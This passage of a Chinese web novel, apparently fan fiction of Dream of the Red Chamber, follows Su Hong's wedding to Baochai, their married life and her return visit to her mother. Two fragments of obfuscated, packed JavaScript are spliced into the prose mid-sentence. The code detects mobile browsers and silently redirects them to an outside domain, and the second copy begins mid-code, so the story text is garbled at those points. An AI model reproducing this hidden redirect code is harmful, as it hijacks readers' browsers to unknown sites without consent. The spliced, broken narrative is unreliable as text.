众人闻言连忙起哄，围着苏鸿等要听他作诗，贾宝玉连忙预备笔墨抄录。苏鸿连连作揖，喜气盈腮，笑道：“小弟自然从命。”他略一思考，便吟道：“昔年将去玉京游，明月仙人许状头。今日幸为秦晋会，早教鸾凤下妆楼。” 诗成之后，旁人尚未如何，薛蟠第一个应和，随即才反应过来，嚷道：“了不得，还以为和你唱和吟诗呢，竟误事了！这不算数！再来，再来！” 纪花明笑道：“方才大舅子赞了好，大家可都听见了，不能不认啊！” 旁人也都笑起来，打趣道：“叫你堵门，你头一个给人领进去了！”忙命贾宝玉誊抄了送到里。薛蟠又嚷道：“考校了文才，还得试试武艺才行，文武双全才能进门！”苏鸿为成亲这日准备许久，岂肯与他们较量失了仪容，便请纪花明上前。 纪花明人高马大，比一干武将子弟更显魁梧。众人要较射，纪花明也只撸着袖子，不过两三下就将王仁等比了下去。一片哄笑声中，众人见时间差不多了，与堵门的几个对了个眼色，便一边散着红封糖果，一边护着苏鸿强闯进去。 到了正堂，薛太太坐在上首，一旁摆着薛父牌位。及至苏鸿到此，一干喜婆丫鬟等也簇拥着宝钗过来。宝钗头戴一方并蒂连理枝的红盖头，款款而来，在苏鸿身旁定住。 苏鸿心中紧张，上前撩袍跪下磕头，便接过一旁的茶水，起身放置薛父处。复而跪下给薛太太奉茶，笑道：“岳母大人在上，请受小婿大礼。” 薛太太见苏鸿今日装扮一新，头戴玉冠、腰束金带，愈发显得丰神俊朗，不似凡人可比，堪与宝钗相配。她亦喜上眉梢，接过茶水喝下，笑道：“好，好，好孩子，快起来。如今喜结良缘，母亲盼你们彼此珍重、爱护，言和意顺，互敬互爱。” 苏鸿和宝钗一同答应，便有傧相喊着“吉时已到”等语，催促新娘出门。薛太太见宝钗真要跟苏鸿一同离开，心头骤然涌上不舍，欲要起身拦住却被王夫人一把拉住。宝钗分明听得身后母亲呼唤，亦两眼垂泪，心中不舍，回身拜了两拜才离开。 薛蟠要招呼家里宾客，也忙得不可开交。见有人叫他往外泼水撒筷子，瞪了那人两眼便充耳不闻，自去安排故交亲友入席。 花轿便在屋外停着，苏鸿和宝钗抓着一根红绸，低声安慰道：“你放心。等忙完了，你何时想回家看岳母便回去。” 宝钗点点头，便被苏鸿送入轿中安坐。见新娘入轿，鼓乐便另换了一手喜庆的曲子，苏鸿也和诸兄弟上马，一并往苏家去。只是前头出了薛家大门过了一条街，后头抬嫁妆的还没出薛家，一路延绵十里红妆，叫来往观礼看热闹的百姓十分新奇。 一头撒着铜钱、喜糖，一头吹吹打打，苏鸿一行人才顺利回了苏家。见他们回来，早有小厮在里头放起了鞭炮，噼里啪啦更显得热闹非凡。至正堂前，自有喜婆婆搀着宝钗下轿，二人便沿着红毡一并过去。 二人先跪在蒲团上拜了天地，复又请出苏父苏母坐在上首受礼。待夫妇二人对拜后，喜婆婆便将二人送回新房，请苏鸿挑了盖头。苏鸿坐在宝钗身边，面红耳赤，半晌才将盖头掀起来。 见宝钗盛妆艳服、面染红霞，抬眼看他时含羞带怯、温柔期许，心中一荡，竟呆住了。旁人或是惊呼新娘姿质丰艳，或是笑话苏鸿看傻了眼，俱都笑起来。苏鸿这才反应过来，连脖子都染红了，映着烛光赫然是位美郎君。宝钗亦是羞得耳根通红、通体发热，俨然是位美娇娘。 喜婆婆笑吟吟的，心中暗道好一对儿天造地设的夫妻，叫她也心中喜悦羡慕。只是不好耽搁时间，便连忙命人取来小剪子，嘴里说着一套一套的吉祥话。又取来热酒，请夫妇二人合卺而饮。随后又有全福人上前撒帐，亦有一套吉祥话。 待礼成之后，苏鸿便被拉出去陪席拜客，一刻也不得闲。 宝钗打量着新房，见色色都是新的，便猜到是苏家才装扮的。只是屋内虽处处挂着红绸、张贴喜字，一应陈设却只有喜房应有之物，其余陈设玩器几近于无，只在一旁的机子上放了烟青色汝窑花瓶，里头插着几朵白牡丹。 莺儿扶着宝钗起身，笑道：“姑娘瞧，这里倒是跟咱们家差不多呢，想来姑爷也崇尚简朴。就是太空了，回头我打几根络子装饰上，瞧着才好看。” 宝钗行至花瓶旁，伸手触了触盛放的白牡丹，抿唇一笑。她垂头暗思，先前与安和无意间说起过一次，没想到他竟会将新房布置成这样。倘若是不了解苏家的人来此，恐怕还要以为苏家太过穷酸，连个摆设玩器也没有似的。 莺儿一路走来，见苏家虽不比贾家、薛家富贵豪奢，却也处处清雅、精致，新姑爷亦是神仙一流的人物，心中愈发为宝钗高兴。又听有人敲门，连忙答应着去开门，就见甄英莲亲自端着托盘进来。 她把托盘放在桌上，笑道：“姐姐，今后我们可以在一处了。他们都在前头待客，婶婶怕你饿着，特意叫我先送来些吃食，叫姐姐和莺儿姐姐先垫着。前头才开始，估摸着还要好一会儿呢。哥哥还说叫姐姐先洗漱了，不必顶着一头钗环等他过来。” 宝钗含笑道：“多谢你，只是你用了饭不曾，快坐下一起吃些？” 甄英莲笑着摇摇头，说道：“我前头还得陪着婶婶娘家的姑娘们，不能陪着姐姐在这儿。只是哥哥惯常也没有丫鬟伺候，姐姐若是闷了，哥哥说书桌上还摆着几本书，叫姐姐挑喜欢的解闷。” 她方才先是被苏母拦下，叫她去给宝钗送些吃食。谁知才要往后头来，就被苏鸿拦下，托她转告这些话。说完，英莲笑嘻嘻道：“姐夫可是早盼着迎姐姐过门了，拉着我好一顿说，生怕姐姐独自待着烦闷。” 宝钗才平复下的心情又起波澜，面染红霞，趁着胭脂更显艳色。甄英莲呆了呆，又促狭道：“才刚听喜婆婆打趣哥哥，说他见了新娘子连眼珠子都直了，脸色通红。怪不得哥哥会看呆了，姐姐早该这样打扮，哥哥怕是连怎么走路都忘了！” 又谈笑几句，前头来人催促英莲，她才依依不舍离开。宝钗与莺儿对坐着用了晚膳，刚搁下碗筷就见来了个穿戴齐整的媳妇。 她一边说自己姓甚名甚，一边又笑道：“太太说我们爷身边没个伺候的丫头，奶奶来了也没人伺候解闷，特意拨了几个小丫头先给奶奶差使。奶奶带来的几位姑娘的住处早就安排好了，一会儿叫小丫头引几位姑娘过去就是。” 宝钗纳罕道：“大爷身边没有丫头伺候，一应盥漱起卧是小厮们管着不成？”一边说，一边叫莺儿搬来小杌子，叫她坐着说话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344465|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那媳妇只蹲身在脚踏上坐了，笑道：“从前是有丫头的，只是我们爷时常在外念书，仍叫丫头们伺候太太和姑娘。爷在书院也习惯自己做事，虽说回了京城，寻常也只叫小厮们洒扫、盥漱，不用他们近身伺候。” 说着便叫四人给宝钗请安，又一一介绍名姓。 宝钗点头笑道：“好，我今日不便出去，请姐姐帮我致意吧。多亏太太想得周到，也多谢姐姐跑这一趟。” 莺儿早在一旁抓了几百钱，笑着递过去道：“请大娘打酒吃，辛苦您跑这一腿子了。” 那媳妇心想：往日跟着太太出去的人都说大奶奶温柔敦厚、稳重和平，今日一见果然不假，出落得更是鲜艳妩媚，天仙一般。要不是今天那些媳妇们忙得脚打后脑勺，也轮不到她办这个好差。她便一叠声儿谢了，又交代了几句方才离开。 她前脚走了，便有个小丫鬟先领着文杏等去认屋子、库房等。宝钗正和莺儿笑着悄悄说话，就听外头传来一阵沉稳的脚步声。丫头们笑着喊“大爷来了”等语，苏鸿便掀开帘子进来。 见宝钗仍端端正正坐在床上等他，心中一软，上前道：“这样装扮虽说显得娘子天人一般，但梳髻戴冠、敷粉施脂的，难道不难受？”说着便执手引她到梳妆台前，观察片刻后才发现花冠处的机关，轻手轻脚解下发冠。 莺儿等人连忙去寻水和胰子过来，见苏鸿亲自服侍宝钗洗漱也不敢打扰，立在一旁偷笑。宝钗望着镜子里的自己、身后的人，含羞带怯道：“也不急这一会儿，等你回来一同洗漱了才是正理。” 苏鸿心中鼓动，时不时请教宝钗该如何卸妆，将她头上的钗环一一卸下，才将她的发髻解开，取了木梳替她将头发梳理好。见她只是披散着一头乌发，未曾装饰脂粉，却愈发显得艳丽，心中却想着自己何德何能，竟有如此如花美眷、人生知己相伴。 宝钗见苏鸿呆了，微微侧身避开，却又回身看向苏鸿的双眼抿唇笑道：“安和……” 他们其实许久未见，但因着时常通信，并不觉陌生。最频繁时，她甚至每隔一日就能收到苏鸿的书信和礼物，梳妆台上堆满了他送的胭脂水粉、香露乃至钗环首饰。她细细打量着苏鸿，见他羞赧才笑着收回了视线。 苏安和有些狼狈地转开眼神，在一旁草草洗漱了，才叫丫头们都退下。他强装镇定，揽着宝钗一同坐下，将她搂在怀里时，他才觉出些许真实感——他真的将这轮明月摘下来了，日后可以同起同坐、生死相伴。 虽然早知会有这一天，但真的面临时，却觉得这种心底汹涌的快慰竟是难以描摹。连他金榜题名、高中状元时，都不曾有这样得偿所愿的欢乐。 宝钗倚在他怀里，听着耳边怦怦的心跳声，忽然开口道：“安和，你的心跳声……有点吵。” 说着俯身掩面而笑，其娇艳之态融化了她眉宇间带来的理智与端方。苏鸿被她调侃，只好深吸一口气，拉着宝钗的手放在胸口道：“得此美眷、逢此知己，焉能不心神摇荡。” 见宝钗一呆，要抽回手，他反而紧紧抱住宝钗，在她鬓发上落下一吻。又反手抓住帐子摇动金钩，将帐子放下后便一卷衾被，遮住二人身形。 喜服被揉成一团，随意丢了出来。苏鸿吻着心爱的妻子，见她香汗淋漓，汗湿枕席，不由更是怜爱。他在她耳边微喘着调笑道：“古语有云，乐而有节，和平寿考，我还心说这样的事只会伤身。现今体会了，果然不假，可见还是古人更有智慧。” 宝钗本被他搂在怀里，娇弱无力，心神失守。闻言恍惚一瞬，才想起这是出自哪里的，不小心在他背后留下一道红痕，娇嗔道：“就你话多！” 苏鸿低声笑着，垂首吻住她的红唇，又叫她紧紧搂住自己的脖颈，复掀起波澜。 明亮的月光下，帐内鸳鸯成双，被翻红浪，不时传出喁喁私语，间或娇声轻喘。自是鱼水和谐，夫妻合乐，不可胜记。 43.画眉 第二日清晨，苏鸿清醒过来，见宝钗枕在自己肩膀上熟睡，心中软成一团。她不施粉黛，愈发显得肌肤胜雪、眉翠唇红，又有一股冷香幽幽散发，令人闻之欲醉。 他不敢再看，有些尴尬地盯着帐子上的百子千孙图，慢慢平复呼吸，又静静看着宝钗睡颜。此时亦是宝钗平日洗漱的时辰，便悠然转醒，睁眼却见苏鸿在一旁含笑看着自己，又感受到不属于自己的体温，不由面上微红。 她轻推苏鸿，苏鸿便含笑起身，自己将衣裳穿了。回身见宝钗红着脸缩在被褥中，就见莺儿早将今日要穿的衣裳放在架子上，便取了里衣回来，顺势亲了一口。宝钗一笑，叫他扭过头，才肯将衣裳穿上。 外头伺候的丫头听见动静连忙进来，莺儿见姑娘和姑爷都起来了，才偷笑道：“奶奶该喊我们过来伺候，怎么叫我们歇着呢。”说着让丫头们把热水和胰子备好，又将宝钗惯常所用的梳妆物品及钗环首饰等摆在梳妆台上。 宝钗被莺儿调侃一句，脸色羞红，只暗暗瞪了苏鸿一眼。苏鸿却不害臊，洗漱后就在椅子上坐着瞧她梳妆。 他眉眼间温柔缱绻，一手托腮笑道：“府里只有父亲、母亲在，我没有旁的兄弟姊妹。甄伯父是我家世交，亲如一家，我父亲以兄长相待。甄伯母和甄妹妹亦与娘子熟识，也不必担忧。我现任翰林院俢撰，除却休沐均要点卯上衙。你闲暇时，和母亲一处读书做针线，或是回家望亲，随你自己就好，家里没那么多规矩。” 他又想了想，笑道：“我私房银子攒了一千多两，手上还有几家产业，就劳烦娘子辛苦照管了。府里人手并家中产业，回头母亲跟娘子交代。” 他自觉没有其他的事需要交代，府里人口不多，下人们关系虽说盘根错节，但也都是服管的。他和母亲敬着宝钗，下人们也不敢没眼色得罪她。 只是说来容易，他心里也不好受。想到宝钗这样金尊玉贵的小姐嫁给他，生活水准与习惯都得重新适应。他和宝钗比起来，倒是货真价实的穷光蛋，请她帮忙管着倒像是亵渎了。 宝钗看着镜子中的苏鸿，抿唇笑道：“我知道了，有劳夫君。” 她与苏鸿时常通信，婆母、封娘子又常与妈来往，她对苏家的事是尽知的。只是她没想到，苏鸿送她的礼物几乎不曾断过，又时常孝敬公婆和妈，手上竟还有千余两的银子随意支配。 固然有公婆开明、不叫苏鸿贴补家用的缘故，但能有这样挣钱的能力也不可小觑。宝钗心中暗想，苏鸿攻读之余挣下这样多的银钱实属难得，又肯将一应家计托付，这份心意亦叫她心中慰贴。 苏鸿笑着握住她的手，说道：“私下里，宝卿不必如此客气，叫我安和就是。我请了几日婚假，屈指算来还有四日得闲，到时候陪你一同见岳母和亲朋故交。再过几个月，我师兄要娶贾二姑娘，两家离得近，你们也能作伴。” 不多时，莺儿便将宝钗发髻梳好，转身开了匣子去挑首饰。宝钗一边答应着苏鸿，一边笑道：“先前太太送我累丝牡丹镯被哥哥拿去炸了炸，成色正新，便戴它吧。” 这镯子是前几年婆母送了她和甄妹妹一人一个，只是花色不同。她惯常戴着，只是成婚时妈新给她打了一套麒麟瑞草万胜纹的金饰，这才暂且收了起来。今日拜见公婆，戴这个正好。 莺儿笑着取出镯子给宝钗戴上，还要再挑时就被苏鸿制止。她极有眼色，知道新姑爷这是想要亲为姑娘装扮，便笑嘻嘻带着一干丫头退到外头。 苏鸿起身看视妆匣，就见匣子里堆满了各色簪环，宝光四射，便挑出一支嵌着珊瑚的金簪来，对着铜镜观察片刻，将其稳稳插进发间。又蹲身在宝钗身前轻轻挑起她的下巴，手执螺黛蘸水，顺着她的眉形轻扫几下。 宝钗之眉不画而翠，轻扫几下足以。苏鸿心中满意，见宝钗眼神闪躲，他反而弃了羞赧，迎上去在她脸颊吻了一下。心中喜之不尽，取了胭脂亲为装扮，搂着宝钗万分满足。宝钗捶他一下，羞红着脸笑道：“你这人，真是好不正经。” 苏鸿扬眉笑道：“我对着宝卿不正经，便是最大的正经了。岂不闻天生万物……”宝钗连忙一把捂住他的嘴，嗔道：“你再这样不正经，晚上自己去书房睡去。老爷太太还等着敬茶，回头就说是你误了事。” 说着便推攘苏鸿起身，略照了下镜子，见脸上的嫣红退却后才和苏鸿一同出门。苏鸿走在宝钗身侧扶着，笑道：“等用了早饭，我带你在府里逛逛。” 不过片刻便行至正院，苏父和苏母早就穿戴齐整，甄士隐夫妇及英莲也坐在一旁，笑吟吟看着他们一起过来。当即便有丫头铺了垫子，苏鸿便与宝钗一起见礼。 苏父、苏母接了媳妇茶，便掏出早就预备好的红封塞过去。苏母笑道：“你素日和平稳重，母亲没有什么叮嘱你的。只有一句，你们结为夫妇实是天缘凑巧，日后当同心同德，凤协鸾和，我们做父母的才能放心。” 夫妇二人一同答应，苏鸿便扶着宝钗起身。又给甄士隐夫妇见礼、又与甄英莲厮见过，认了哥哥嫂子。苏母笑道：“咱们家人口不多，你都是认识的。其余的亲戚们，日后我带着你出门去见，慢慢就熟了。” 宝钗答应着，神色自若，并无寻常新娘子的娇羞扭捏，只款款端坐于苏鸿身侧。苏母暗暗点头，当下又命传饭。宝钗欲要起身侍奉，苏母便笑道：“宝丫头有心便是，且好生坐着。” 时下，儿媳妇在婆婆跟前立规矩、孝顺婆母，才是有教养有规矩的大家女儿。若被人一劝，就当真懒怠侍奉婆母，反叫人笑话不守本分。只是她素知苏母性情随和自然，绝非有意试探，真切切一片慈心，不由十分喜悦，正要再次起身。 苏鸿不待宝钗起身，便笑着为苏父、苏母及宝钗盛饭，恍若未觉，只是催着众人用饭。苏母被噎了一下，心里一边笑苏鸿是个急性子，连三次辞让的理儿都装不知道，又欣慰苏鸿知道维护宝钗，一如当年苏父维护她一般。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351461|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 苏鸿自知母亲不是磋磨儿媳、挑拨是非的人，宝钗亦是温厚良善、品格端方。加之父母恩爱、如胶似漆，母亲又忙着读书、绘画等事，并无闲心去找宝钗的麻烦。见她们二人还要来一出三揖三让，这才连忙截住。 众人强忍笑意，佯装未曾察觉，用饭后就各自散去。因着苏家宅院只有三进，算不得太大，二人便慢慢踱步回去。苏鸿间或指点各处，轻声讲着那处的用途。宝钗含笑点头，一边瞧一边记，不过片刻就心中有数。 须知建造房屋时，何处中堂、何处马厩、何处东厨等皆有定制，格局相差不大。又有苏鸿一一介绍，自然再无半点差错。待回房后，苏鸿便连忙服侍宝钗躺在小榻上歇息，笑道：“想必你昨日早早就起来忙碌，又不曾好睡，先休息一会儿。” 宝钗是惯常三更方睡之人，倒是不觉困乏。她含笑道：“我倒还好，不如陪我说会儿话解解闷。先时你在江南，咱们不曾断了音讯，只是现在好久没有通信了。我也不知你又遇着何人何事，叫我……”她说着便是一顿，用帕子掩住面颊。 她知道苏鸿为了预备会试，可谓日夜攻读不敢停歇。加之入京后也不能打着薛蟠的旗号给她写信，定亲后又不好见面，紧接着又要筹备一应成婚所需物品，细细算来，除却苏鸿游街时，他们竟是将近一年不曾说话、见面了。 苏鸿闻言哪会不依，搬了小杌子坐在榻旁，将自己从自安书院归京后的种种娓娓讲来。不外乎攻读经典、游街受宴、赐官等事，说来亦属平常小事，宝钗却听得津津有味。 只是听罢，她便想起一事，问道：“八九月间，我恍惚听闻宝兄弟作了一首《姽婳词》呈上礼部，听林妹妹等人念了两句。礼部的大人们可有说些什么？” 《姽婳词》美则美矣，壮而哀之，确属难得的佳作。只是她私心里觉得有些不妥，却见姨夫且喜且叹将其呈上，便更不好再说什么。 苏鸿闻言，沉默一瞬，方道：“今上下令，叫察核前代未曾嘉奖的仁人义士，凡有一事可嘉者，均可报至礼部备请恩奖。宝兄弟虽满腔才气，只是不好科举，若能借此诗文叫今上看在眼中，倒也是一条晋身之阶。只是宝兄弟改不了他的脾气，怕是不能成事。” 说着便是一叹，俯身低声道：“昔日香山居士以《长恨歌》借古讽今，这《姽婳词》仿照前人论述，在旁人看来亦是大有深意。据说礼部的大人瞧了，脸上就不好看，特特呈给今上。唐风宽宏，今朝却……” 宝钗闻言面色微变，联想到甄家被抄家一事。若是从前，便是有人告贾家谋反也无事，但眼下换了位主子爷，谁也说不好他心里怎么想的。宝兄弟素日讥讽时政，颇有鄙薄之言，若被翻出来，只怕还会连累宫里的贵妃。 苏鸿见宝钗心惊，忙上前安抚。又说道：“姨夫被点了学政、又被点了钦差，正是两件大功劳。今上便是不喜欢，然而满京城内，谁不知道宝兄弟那怪癖的性子，哪里肯跟他计较。” 44.商讨 宝钗默然不语，心知这是苏鸿安慰她的话。古往今来，多少大家族便是败在主上猜疑，哪怕子虚乌有，主上为了江山也会毫不犹豫痛下杀手。何况竟也不是全无踪迹，早就露了马脚，更是现成的刀子。 单她知道的，便有珍大爷悖逆人伦及聚赌、赦老爷强索古扇几件。她不知道的事，只怕更多、更重。不提男人们在外吃喝嫖赌的花费，日常用度已是奢靡，却又不置多少产业，入不敷出。 如此家族，竟不必旁人动手，三两年便也下去了。连她哥哥，她也不敢担保他背地里没有别的勾当。料想贾史王薛四家彼此扶持照应，薛家又岂能脱俗，有意无意总有不妥当的地方。 苏鸿见宝钗微微出神，知道她一贯想得深，怕是心里不自在。只是朝堂上蝇营狗苟之事多如牛毛，京中凡是有名有姓的，谁能是个真君子？ 他父亲为了争得一席之地，也得乖乖孝敬上司，对那些看不过眼的事视而不见。连他昔年为了高中解元，也要改变文风、迎合主考。何况她又是姑娘家，许多事连知道都未必知道，更遑论插手规劝。 他有意岔开话题，便调侃道：“宝卿何必多思，除了结党谋逆，朝廷没有砍头的。你我新婚燕尔就狠心把我丢下，再过几日，我越发成了老帮菜，不招你待见了。” 宝钗见他故意这般作态，被逗得一笑，方才郁闷的心情也渐渐疏散。他们从前多是书信来往，虽知晓苏鸿的性子不似严谨端肃的古板夫子，也没料到他正经起来很正经，不正经时却好说好笑、心性活泼。 她笑着推了推苏鸿，嗔道：“你怎么还说这样的胡话，该叫母亲来听听。” 说着便看向机子上摆着的白牡丹，笑道：“说来也奇了，怎么十月间还有这样的牡丹？难道你们家有个温泉庄子？” 时下，若想在冬季寻摸到新鲜的瓜果蔬菜、花草等，无非是家中有温泉庄子或是温室。只是京郊现有的温泉庄子，皆被王公贵族所占，倒是没听说哪里还有漏网之鱼。若说是温室，却不曾听过谁家的温室能种出品相这样好的牡丹来。 苏鸿心中暗赞宝钗的敏锐，笑道：“我们家岂会有温泉庄子，便是有，也早就献上去了。我自己筹钱，用玻璃建了温室，又亲自选种，请了老成的花农照看，这才有这些花。” 天下没有不透风的墙，他既然敢在江南卖花草，自然是做足了准备。前期挣了钱，他便寄信给母亲，只说把家里送过来的花草卖了出去，叫母亲帮他再寻摸个小庄子来建造温室，又将图纸等一并附上。 母亲接了信，虽不解其意，却也按着他所言帮忙建造，又聘了花农将他给的花种一一种下。至于前期那一批花，只当是因有利可图，特意从外边买来的。如此真真假假，纪老板等虽知苏鸿并未说实话，也只当是发家的路子不愿告诉旁人，便也不曾在意。 机子上摆着的花确实也是温室里产出的，因种子来自须弥宝戒，品相便比外头的好许多。 宝钗闻言微微点头，笑道：“若果然是这样，怪不得你能攒下这么多体己钱。只是寻常牡丹花种下少说要三年才会开花，这样的品相、又是这样短的开花时间，花种想必不同凡响。温室地方有限，种不下这样多的种子，这倒也能是个进项。” 苏鸿讪讪一笑，他也知道这些牡丹花一年就能开花有点离谱，但没想到宝钗从他只言片语中便察觉出这些。可见原文中频频夸赞宝钗博学绝非虚言，不光博学，连经济一道也自有见解。 他说道：“宝卿治家有方，比我强过十倍。我不过取这些花卖给收花草的制香坊，这些花收下来的种子，我倒不曾过问，许是在哪里堆着。日后一应请宝卿操持，你只管做主就是。” 宝钗并未推辞，点头应下。又笑道：“安和何必妄自菲薄，你常日伏案读书，能抽出时间筹办温室已经是难得了。倒是我，平日在家也只有跟姊妹们一处玩耍做针线，能想到此处。” 她心中并无丝毫不平，只是有些许遗憾罢了。 苏鸿沉默一瞬，半晌才笑道：“以后宝卿与我一起，怕是不得清闲了。我母亲时常抱怨，说我父亲不管大事小事，回来都跟她啰嗦一堆。父亲却说夫妇一体，虽说一个管内事、一个管外事，终究是分不开的。我觉得父亲说得有理，就是抱怨，我也不能放你自己逍遥，但求娘子别恼。” 宝钗一怔，点头笑道：“你不嫌弃我见识短浅就好，我自不会觉得啰嗦。” 她在内宅中，对外头的事只是知道一二，却不能十分清楚。因而听苏鸿此言，虽打定主意不胡乱掺言，亦是十分好奇，便缠着苏鸿说些官场上的事。苏鸿自不拒绝，捡了近日两三件事说了，不免议论两句。 宝钗听了只默默点头，心中暗道：听来虽是新鲜事，但翻阅史书古籍，又觉似曾相识。这样看来，倒也可笑可叹，人性如此。 二人说笑几句，解了饭后困乏之意，便携手到书房去。苏鸿握住她的手，一边推开门笑道：“账本和名册都在书房里堆着，现在是风信在照管。风信自小伺候我，后来我上学去，他才没跟着。回头你也得再物色个小童供你使唤，往来答话。我名下只有豆腐坊和温室庄子，账目倒还清晰，我先前也盘过。” 他一边絮絮叨叨地说着，一边将成摞的账本拿给宝钗瞧。又笑道：“我们小门小户的，是不许管事的连带伙计们在中间抽银子，一概等年终算总账时，再发些分红贴补。这里也有旧例，若有须添减的，宝卿裁度着办就是了。” 宝钗笑着接过，略翻了翻便放到一旁，不再细看，打算过段时日再说。她现下尚不了解苏家是何情况，贸贸然改动旧例，虽说安和会护着她，也不如等了解安和手下那群人之后再做定夺。 苏鸿将账本等与宝钗交割清楚，又特意着人将风信叫来见宝钗，严明日后庄子和铺子上的事都听宝钗的吩咐。风信早知会是如此，心里有些不自在。 他头上虽有主子，但苏鸿先是常 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但姨妈听人挑拨，本就深恶晴雯，她若是提起此事，姨妈心里定然不自在。可若不管，一来是宝玉托袭人来求，二来，晴雯性子骄傲不假，却也不失坦率、念恩，她心气高，在外头早晚能把自己气病。 她昔日得罪的人不少，如今可不就攒劲儿落井下石了。 苏鸿闻言并未犹豫，笑道：“我虽不大和你姨妈接触，也知道是位吃斋念佛的太太。她不喜欢这丫头，无非是厌恶她引得宝兄弟不学好，这才戳了肺管子。若论平常，只怕叫她嫂子去求一求，就说托人找了个裁缝的活计，放了她自去谋生，你姨妈想必是会答应。你再叫她到你铺子上做事，既有好手艺，你多给些工钱就是了。” 他想到《石头记》中所记载的贾家发生的事，也不由感慨一句命运反复无常。晴雯为了帮宝兄弟逃避政姨夫考较功课，撒了一通谎，引得婆子们上下忙碌一夜，又叫贾母知道，引出查赌之事。大家子里谁没有眼睛耳朵，那林之孝家的亲戚、迎春的奶妈等人，岂有不恼怒的。 谁知不过几日，又出来一桩绣春囊，可巧叫婆子们逮到了机会，将素日里副小姐一样的丫鬟们告了一通。晴雯先时得罪了她们，如今反倒被她们告倒。正是风水轮流转，叫人意想不到。 但苏鸿并不在意那些，索性晴雯脾气虽大，本事同样也大。有本事的人骄傲些也是常事，宝钗又愿意搭救，何必叫她心里不好受。 宝钗闻言笑道：“倒是我忘了还能这样办，还是安和提醒得好。看来圣人说三人行必有我师，竟是再也不错的，叫我跟你学了一招。既这样，过几日就叫人悄悄跟宝兄弟那边说了，我也把手上的铺子盘一盘。” 这事原也不难，只是苏鸿才说了那些外事，她也不好一声不吭办自己的事。何况晴雯又是宝玉身边的丫头，与她关系一般，若随意救了出来，怕有些小人诽谤。 45.回门 苏鸿、宝钗二人日日待在一处，不是闲谈便是相伴读书，窗前灯下，喁喁私语，真可谓蜜里调油、如胶似漆，一刻也分不开。待到回门那日，宝钗便命人套了车，苏鸿回明苏母后，就与宝钗一同拜访薛太太。 薛太太、薛蟠及薛蝌宝琴等，早早便收拾停当，翘首盼望宝钗回来。薛太太更是一边高兴一边担忧，生怕自己看错了女婿，叫女儿受苦。 好容易听人来报，说姑娘和姑爷在门外下车，薛太太再也忍不住，就要起身去接。宝琴连忙解劝，笑道：“姐姐和姐夫要是看到您到外头迎，怎会安心呢，咱们还是在此处等着。” 薛太太握住宝琴的手拍了拍，叹道：“我何尝不知道。但你姐姐生下来，何曾离过我身边，一连几日不见她，心里总是七上八下的。” 说话间，小丫头便把帘子掀开，笑嘻嘻道：“太太、二姑娘，大姑娘和姑爷来了。” 薛太太豁然起身，果然见宝钗、苏鸿转过屏风来，喜道：“我的儿，见你们过来，我心里才踏实。” 如今这世道，姑娘嫁了人就是别人家的，娘家竟管不了许多。但若不叫姑娘嫁人，让女儿独守空闺，更是大不妥当。薛太太虽知苏家不至于苛待宝钗，可一去旁人家里，说话、坐卧等都要适应别家，更别提饮食等，家家不同。 虽说苏家祖籍金陵，与他们薛家的规矩饮食等许是相差不大，但薛太太仍是日夜悬心。宝钗出嫁后，她竟是一日不曾睡得整觉。想打发媳妇婆子上门去看，又怕苏家多心，更觉难熬。 宝钗和苏鸿连忙上前扶住，请薛太太仍旧上首安坐后，才一同给薛太太磕头。薛太太连忙将他们二人扶起，叫他们一左一右坐在自己身边。见宝钗面色红润，神态自然，她才放下一半的心。 苏鸿也知道薛太太爱女心切，略陪坐一会儿，便跟薛蟠、薛蝌一起到外间说话。薛太太方一把将宝钗拉到怀里，仔细上下打量着，红着眼圈儿问道：“我的儿，你们怎么样？” 宝钗红着脸伏在薛太太怀里，笑道：“妈别担心，我们很好。安和是父亲看中的，妈和哥哥也替我冷眼观望许久，怎会还有不妥。何况上面公婆亦是举案齐眉的好夫妻，婆母治家宽严相济，并没有什么乱七八糟的事。” 她见薛太太将信将疑，便将她在苏家的见闻一一说了。又笑道：“安和手中也有几家产业，都是自己拿着的，才刚都交予我管着。婆母那边，这几日也叫我帮着管家，丫头媳妇们都是老实本分、不爱生事的。” 薛太太这才将将放心，见宝琴在这里竖耳朵听着，不由将她也搂进怀里，笑道：“你这丫头，我和你姐姐说这些，你还不赶紧进屋去。” 宝琴才不走，红着脸搂住薛太太撒娇，心里着实好奇。宝钗见她这样高兴，调侃道：“不过两三年，你也知道了，何必着急问呢。你姐夫替你打听了，那位梅家的小爷才貌亦是一等一的，你定然喜欢。” 宝琴脸一红，推搡着宝钗道：“伯娘快听，姐姐竟开起我的玩笑了。” 薛太太忙着给她们姊妹断官司，心里越发喜欢。待她们安静些，她才摩挲着宝钗的乌发叮嘱道：“苏家人性格温厚，只是你也不能恃宠生骄，要好生孝顺公婆，和鸿哥儿相互敬爱。年轻夫妻一时磨合不到，拌嘴生气也是有的，要相互谦让。” 见宝钗点头，她犹豫片刻才说道：“有些话，不必我说你也明白。大家子的爷们，身边都有屋里人，因着自小相伴的情分、或是颜色好些，自然得爷们的宠爱。世人都是这样过来的，你也不要挂心。若为这个生气，只怕还生气不过来。” 她嫁给薛怀后，便听说他身边从前也有两个姨娘伺候着，只是因为跟着薛怀一起行商，水土不服没了。也正因如此，薛怀就没再叫女眷跟他一起行商，也没有再纳妾室。 